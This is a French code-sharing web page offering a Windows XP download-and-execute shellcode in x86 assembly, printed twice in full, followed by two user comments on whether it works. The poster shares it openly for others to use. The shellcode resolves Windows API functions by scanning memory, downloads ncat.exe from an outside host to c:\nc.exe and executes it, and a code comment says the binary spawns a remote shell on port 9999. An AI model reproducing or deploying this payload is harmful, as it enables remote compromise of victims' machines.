begin process at 2012 05 24 03:01:52
  Trouver un code source :
 
dans
 
Accueil > 

Code

 > 

68xxx

 > GENERIC WINDOWS XP URL DOWNLOAD AND EXECUTE SHELLCODE

GENERIC WINDOWS XP URL DOWNLOAD AND EXECUTE SHELLCODE


 Information sur la source

Note :
Aucune note
Catégorie :68xxx Niveau :Débutant Date de création :28/08/2003 Date de mise à jour :28/08/2003 07:07:30 Vu :7 852

Auteur : theXman

Ecrire un message privé
Commentaire sur cette source (2)
Ajouter un commentaire et/ou une note

 Description

OK

ce code n'est pas de moi et je le poste donc "pour la cause" et vous en faire profiter.
Si ca te plait pas, et ben tu l'prend pas!
Sinon ENJOY!

; Nice theorhetically generic url download and execute
; shellcode for Windows XP.

so i think that's easy to understand, no?

Source

  • ; Nice theorhetically generic url download and execute
  • ; shellcode for Windows XP.
  • ;
  • ; Heck, atleast it saves you using tftp!
  • ;
  • ; Peter4020@hotmail.com
  • ;
  • ; nasmw -s -fbin -o download.s download.asm
  • bits 32
  • start:
  • jmp short avoidnastynulls
  • continue:
  • pop edi ; edi = 'urlmon.dll'
  • mov esi, edi
  • mov al, 0ffh
  • repne scasb
  • inc byte [edi-01h] ; edi = string of url
  • mov ebx, edi
  • mov al, 0ffh
  • repne scasb
  • inc byte [edi-01h] ; edi = path of download
  • mov edx, edi
  • repne scasb
  • inc byte [edi-01h]
  • push edx
  • push ebx
  • push edx
  • push esi
  • mov ebx, 0c25b5effh
  • mov ecx, 0deadc0deh
  • mov edi, 77e60101h
  • trawlmem:
  • inc edi
  • mov al, 0ffh
  • repne scasb
  • jmp short checkbytes
  • nop
  • checkbytes:
  • dec edi
  • push dword [edi]
  • pop esi
  • cmp ebx, esi
  • je short gotcha
  • jmp short trawlmem
  • jmp short pastpoint
  • avoidnastynulls:
  • jmp short data
  • pastpoint:
  • gotcha:
  • lea eax, [edi-2eh] ; get to start of loadlibrarya function
  • call eax ; call loadlibrarya
  • pop edx
  • pop ebx
  • push edx
  • xor ecx, ecx
  • push ecx
  • push ecx
  • push edx ; path of download
  • push ebx ; url of download
  • push ecx
  • mov ebx, 8d8d5602h
  • mov ecx, 0badc0dedh
  • mov edi, eax ; eax = base of urlmon.dll
  • trawlmem2:
  • inc edi
  • mov al, 002h
  • repne scasb
  • jmp short checkbytes2
  • nop
  • checkbytes2:
  • dec edi
  • push dword [edi]
  • pop esi
  • cmp ebx, esi
  • je short gotcha2
  • jmp short trawlmem2
  • gotcha2:
  • lea eax, [edi-1bh] ; get to start of urldownloadtofilea function
  • call eax ; call urldownloadtofilea
  • pop edx
  • xor ecx, ecx
  • ;inc ecx
  • push ecx
  • push edx
  • mov ebx, 0c458b66h
  • mov ecx, 1337f00dh
  • mov edi, 77e60101h
  • trawlmem3:
  • inc edi
  • mov al, 066h
  • repne scasb
  • jmp short checkbytes3
  • nop
  • checkbytes3:
  • dec edi
  • push dword [edi]
  • pop esi
  • cmp ebx, esi
  • je short gotcha3
  • jmp short trawlmem3
  • gotcha3:
  • lea eax, [edi-16h] ; get to start of winexec function
  • call eax ; call winexec
  • mov ecx, 0deadc0deh
  • infloop: ; infinite loop; no crash when done
  • inc ecx
  • cmp ecx, 0badc0dedh
  • loopnz infloop ; if this slows you down too much, remove it!
  • int 3h
  • data:
  • call continue
  • db 'URLMON.DLL', 0ffh
  • db 'http://www.elitehaven.net/ncat.exe', 0ffh ; the file at this address spawns remote shell on port 9999
  • db 'c:\nc.exe', 0ffh
; Nice theorhetically generic url download and execute
; shellcode for Windows XP.
;
; Heck, atleast it saves you using tftp!
;
; Peter4020@hotmail.com
;
; nasmw -s -fbin -o download.s download.asm

bits 32

start:
jmp short avoidnastynulls

continue:
pop edi				; edi = 'urlmon.dll'
mov esi, edi
mov al, 0ffh
repne scasb
inc byte [edi-01h]		; edi = string of url
mov ebx, edi
mov al, 0ffh
repne scasb
inc byte [edi-01h]		; edi = path of download
mov edx, edi
repne scasb
inc byte [edi-01h]
push edx

push ebx
push edx
push esi

mov ebx, 0c25b5effh
mov ecx, 0deadc0deh
mov edi, 77e60101h

trawlmem:
inc edi
mov al, 0ffh
repne scasb
jmp short checkbytes
nop

checkbytes:
dec edi
push dword [edi]
pop esi
cmp ebx, esi
je short gotcha
jmp short trawlmem

jmp short pastpoint

avoidnastynulls:
jmp short data

pastpoint:

gotcha:
lea eax, [edi-2eh]		; get to start of loadlibrarya function
call eax			; call loadlibrarya

pop edx
pop ebx

push edx
xor ecx, ecx
push ecx
push ecx
push edx			; path of download
push ebx			; url of download
push ecx

mov ebx, 8d8d5602h
mov ecx, 0badc0dedh
mov edi, eax			; eax = base of urlmon.dll

trawlmem2:
inc edi
mov al, 002h
repne scasb
jmp short checkbytes2
nop

checkbytes2:
dec edi
push dword [edi]
pop esi
cmp ebx, esi
je short gotcha2
jmp short trawlmem2

gotcha2:
lea eax, [edi-1bh]		; get to start of urldownloadtofilea function
call eax			; call urldownloadtofilea

pop edx
xor ecx, ecx
;inc ecx
push ecx
push edx

mov ebx, 0c458b66h
mov ecx, 1337f00dh
mov edi, 77e60101h

trawlmem3:
inc edi
mov al, 066h
repne scasb
jmp short checkbytes3
nop

checkbytes3:
dec edi
push dword [edi]
pop esi
cmp ebx, esi
je short gotcha3
jmp short trawlmem3

gotcha3:
lea eax, [edi-16h]		; get to start of winexec function
call eax			; call winexec

mov ecx, 0deadc0deh
infloop:			; infinite loop; no crash when done
inc ecx
cmp ecx, 0badc0dedh
loopnz infloop			; if this slows you down too much, remove it!

int 3h

data:
call continue
db 'URLMON.DLL', 0ffh
db 'http://www.elitehaven.net/ncat.exe', 0ffh	; the file at this address spawns remote shell on port 9999
db 'c:\nc.exe', 0ffh

 Conclusion

Ben évidemment, RESPECT au codeur
Try it, et si d'aventure yen a ki l'améliore... ca mintéresse ;-)


 Sources de la même categorie

Source avec une capture AIRSTRIKE, JEU DE ‘SHOOT THEM UP’ EN ASSEMBLEUR par loudadyassine
LECTURE ET ECRITURE D'UN CARACTERE ET D'UNE CHAINE DE CARACT... par yasmus
Source avec Zip EN UTILISANT LES INTERRUPTIONS DE DOS , CECI EST UN CODE DE... par iltir_master
DÉCONCATÉNATION DE CHAÎNE SOUS MASM32V8 par Stormy
AFFICHAGE D'UN CARRÉ (ROUGE), CENTRÉ, SUR LA POINTE, QUI SE ... par steven007

Commentaires et avis

Commentaire de hbiloo le 20/01/2005 19:27:51

c est une tres bonne idé, je te fenicite.
je ne l'ai pas tésté mais je l'ai lu et relu, et je crois qu'il y a un petit problem avec ce code:
- il suppose que kernel32.dll est à l'adresse 77e60101h se qui n'est pas toujour le cas, avec XP home, l'adresse de kernel32.dll est dans un interval qui commence à 77e60000h
- il peux cracher acause d'une violation d'acces en scanant la memoire avec la boucle

trawlmem:
inc edi                 ;<- edi contien l'adress de kernel32.dll
                           ;     edi = 77e60101h + 1
mov al, 0ffh
repne scasb
jmp short checkbytes
nop

checkbytes:
dec edi
push dword [edi]
pop esi
cmp ebx, esi          ;<- la, il va cracher car il veut lire      
                             ; à une adresse reserver à l'execution
je short gotcha
jmp short trawlmem

Commentaire de scelw le 06/05/2005 08:52:29

alors? valable ou pas valable ce "generic shellcode" ?

 Ajouter un commentaire




Nos sponsors


Sondage...

CalendriCode

Mai 2012
LMMJVSD
 123456
78910111213
14151617181920
21222324252627
28293031   

Consulter la suite du CalendriCode

A découvrir



 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 4,555 sec (4)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales